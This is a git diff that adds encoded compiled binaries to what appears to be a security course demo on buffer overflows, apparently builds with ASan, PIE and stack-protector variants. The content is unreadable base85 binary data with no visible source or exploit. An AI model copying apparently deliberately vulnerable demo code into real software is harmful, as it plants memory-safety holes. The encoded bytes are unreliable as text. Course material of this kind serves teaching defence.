zHs1QnS@W*Dsqi}ph2GZ{oXt#O+>9tkr!a0q6y}kn{z{U>JkrAf5;0oI_x#>h5ux%w zzrbNL3iCr!zswlDJkrBF$@20`4>LRU@>~z&;fiu{sy(w{A&g26=oid}z3)S$et`!+ z3iD%9znDuRo}0qVT+triSxEgd!^NX$3NyRq&ZP8sAfqs^CiPcN%T%7~uVl|WmG<_+=tnjsIX8fb)w#oP}@alXj}; z;x}bR@I)nkKE#U=yHJI>Kk>bTji_G>Do>n2HPIwCgQ|FFhzHYJzN>&p`w>tTKMijQ z&rwk+?EjnK)s9a8Jm^+iKJjb7DwiOhJ^mj-fBLA`pC-KZf=Cwn{{=WTKE9>A53JTp z!+Ko-R^y|dpFh;~z*Oiqc34>-4eQqiJc{dwcgB2-XCpD<#n*-TzOeWLuv%XOCz%hi zeWh@8sabdgm|p~F5`q0XV0FFD$Mrf2to%_wKCAs-R$&7^UaG?E?-cM|760>)7@P;L z{^s?@Ec^FnVSYa{Fkj|!obO^_Uay?*Jgk2U15qjL?;X^wQ}byO>!8mgJ~U%|o`!#Z zzhx8p+X)5lN6%kG>;|5WN0YFDRnAHKJym+nXC5%$gFSzEKEw-d(M7U>3wyvi)+#4N7b3uvp%f;4kf3>*m$W?wSo6_wpwB)GDr}SwOB}& z5JfkQZ8eR74Cl?%egtNySgg#;+gZ)Q?LC#X5z*pE7C8y1TkvQ~amWPiLS963*zBX- zoBCT_D_KFvsG~!rG(N|t6Cz5KvWh7YO^oE=&!fmzr3Q&}5#N_)024Y4nf4x&&$uEg zCmaPEO*()sv!E!iUD!Bsk)n30ai-ogL7!d;M$Dct(r|8W3# zJG0kbJ;GK1GUK3~{C^854DhOWM?BvD9Vk2II{e<%tc*aFT`%~nIM1R#=0JSb($33z zJUiO%KxL*vJLX0gVD~ck8dR{-A2W}KP?=HDjycmPm^^q@Xv^{hD$mns$6V?X7-kl# zU&>kcqVoKWJaeodoEzY)`vnvSQJHDcj%Ro+u;X}?KhA*<)G<`rZ9?UlAK&=9z|#(| z+HxMW;~@*j%6|AP&ckj6cva|+>V-9x`cB52O3dca(FQFq7!NUzN&`w!@@KAYP)Y5Li8ymbc+2Si8^@{ literal 0 HcmV?d00001 diff --git a/courses/curs-07-demo/buffer-overflow/buffer-overflow-asan b/courses/curs-07-demo/buffer-overflow/buffer-overflow-asan new file mode 100644 index 0000000000000000000000000000000000000000..28c8353095b908cc9aa9d9f8a8a61426ceb35569 GIT binary patch literal 26248 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 GsQ52JQXmHa literal 0 HcmV?d00001 diff --git a/courses/curs-07-demo/buffer-overflow/buffer-overflow-pie b/courses/curs-07-demo/buffer-overflow/buffer-overflow-pie new file mode 100644 index 0000000000000000000000000000000000000000..d89b84e7cf07263083497bfc42d031507d0827e0 GIT binary patch literal 11512 zcmeHNdu$xXd7r)G<9H;GCsGema_iMAmhA9I>Pg9w#Un-OsOVLNN^I2f`W{R2s(Y|| zdorasjS||57=w1HA1t{ge4jrI?xKpmk@0X2;q%CQ@{i3Pc~ z#Qwh7`Hp+bV-cYJGehis^ZmZZ%zQh$`^^kL+rMwOPtyb!zj#0pcdf=jdX!*njjDk3 zh;C7b-&JCzAhjxqIr1KdK@1=s(wr<%67z(-L$fsR(4EpsE#q^@zL1m8dUzgbQfe)n367)LvPwC zs$Z;=>^wT?z=A2;{SNHZEmIo*I|(cCVb$J3aT!znXR3xPIx^|RmQ5X*RC^|!D~`2~ zb#H0kvMEx?M>fcDlYi3PbKr<1y}UnZY3 z2jhthSq^9OIb~@$sudNf-@dXxXa4XU(l9${e(*dlE>Gi$@rh5V0rPXs&*QaPM=+(H zU&hZVJP_8U0^`iT*5u&yY*Bk$uDWoV$6T(taOGNxW?Z;>v?YGSg{xPW#BaIq26hg5 zPT}O6V?pBcE}Y*9gkNys?)TYN^Jb?K;{)VQ&%hL7Ez{C$9iB0?@HvZEahX(geR^JQXvB}17 zqsiFhj>kb}m%JX(#jl#~-X)>;!5oQAR=*1x+jc89@uuB|AwEYehS+#?_S#US>Fy__ z|D%^_RC7FBewP#{H~*D%v;Ge3V=vwD$0lyXUYgk%)2_sRc*kyq!{1j98_3~8{!Z;k zLroMrV&gmZQ0)lyry+KB$6jzVjTrJw3_n+@qu@2_&ME5HFE7I-#zX2yuMa_kYUo`b z20U~8&g|^e(aQ?jLr@aX-;w3aH&K(4@wat^;bqvyCi-v1Ci}1bEj?~8M)4Dy`1_eh zp$LyFVSZ6s?j+!B^{H9};B1%-UhGu5yQHZ97Ulv;P~#F`0sraH+N0^B09VH$FcFtT5Q|D7T=;d`@2V@4@ZwiABh^5r{?bG zFEN#+KQ*g0_0;vnGZ{Uew2SeKK2*#l?Q}jD2?`0PbH8UMZ8PN-4CD%?W$Rh9P>2tk z`nn7%x;+xl>0Mj�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 Iz{86F0YH=)m;e9( literal 0 HcmV?d00001 diff --git a/courses/curs-07-demo/buffer-overflow/buffer-overflow-ssp b/courses/curs-07-demo/buffer-overflow/buffer-overflow-ssp new file mode 100644 index 0000000000000000000000000000000000000000..713102a3f3d44b8b09d4c93a25aaa3b0688a7a03 GIT binary patch literal 11536 zcmeHNZE#fAc|LbnAFCCt7Q}~u)V?+l424_Tx(0vLBk= zyBJ7oE5>%L57c5|u%gP)MXmH>}1H_P>ybd;)Ef)bVy3@qo}s~HQ2G9|I-vzin~>L^YzO$)jmy? zC^~Z4)W+_PT&6vjEmRJ+AMDxKzOg%2F2>f&cGEv~cRaL5mc;SaUCTNz!H*d8@7nR! zyZ3!{I@I$1(C5}qd^B!<_sMSRawzG;ZI>w~z%vma-ILT!keL6$%*B2X^1bumOXtDw zo(GT5gYTFJ-!Kne1a9KzPt5@4s{dz!FA{BHI65p%^n4Q-k2Je~qp%NV9Wh>U%EGeB zPBOjUN{{WgMv~c_C_9;KL5!EO1!qKzjM~sCJEfdm5P3UawjEf|56w!Bl}|!>$IgMi zt=9Tjca>Woy9aus`C>uoS*S?>e?j>q=gO?00f}R%2Wv?-yO1OQsKP2MvrW`aQyJ-6 z%dn&zbMJh<;lZnIhK}wBt_hqMI<=|(X#~LXbuvA;o{!91=fOEIb?Wrs`dwpQj|caz zM{y6%vUN&$a5T7@5=Z_clsHEp@H*L!&r$D=g(eiBsu>w$n?^enoRMFmRq+8@$+*dv6fq( zhPjaS-SY}ZC~?1hPF{AFzrq|gb>Y6(2~J;RepQ5N{NZ#;T`z4wuU$-nR2(>t{D z`L&S-6P^8hJLwmCCqEgOyuR~Jwl9=8`$_PM^$Gkx^S)zty`#r;=j1PUPF~+O`9bgW zl7C7ZIcFs9{pZS0IA_1KulLKn`+6Viway)z>EEAYDocNAR&zaI+M3Me%w*cBBy;9S zrI2>A#X>CX!r8)a*lEYkcrykHWxM2Sfh^Cp(FLMBMHGWIVO8)xena^#p8j}x`V8ngGKKW`sSlWJz6nXLu*0zBsrLl>;m+_lGehjo~ zn{|B?!V(}Z;&%c%Hi5oK^c#V`NZSj+{)qW}U0-C~*Xt9J&Sx7Ek)9)syCU&Yq^CF1 z*&A8c7crp+{k}*@elJY)=@k6vKA^i#)2BV~X%GA#_5eO&Ocxqls+KjO=>nOHHK5+j zM=&Q-2A>|L74pe_*0AJODVb{z(@K|!HkHpche_vucypQ|u{aTklT`P5Zv|ah$AnV> zSLRyI^n^=9v!Zfs1JAhLo2s#$ipTWYa#|_rHCe}Q%N2gHE-pEZA5*ffcS7mu*iM&^ zPlRmGu+qn;Ldv>7uPJ%E%2#gw--zDF`V0KN8s9e+{gI;YDtcYf1~pHXDeCvLW9!z< 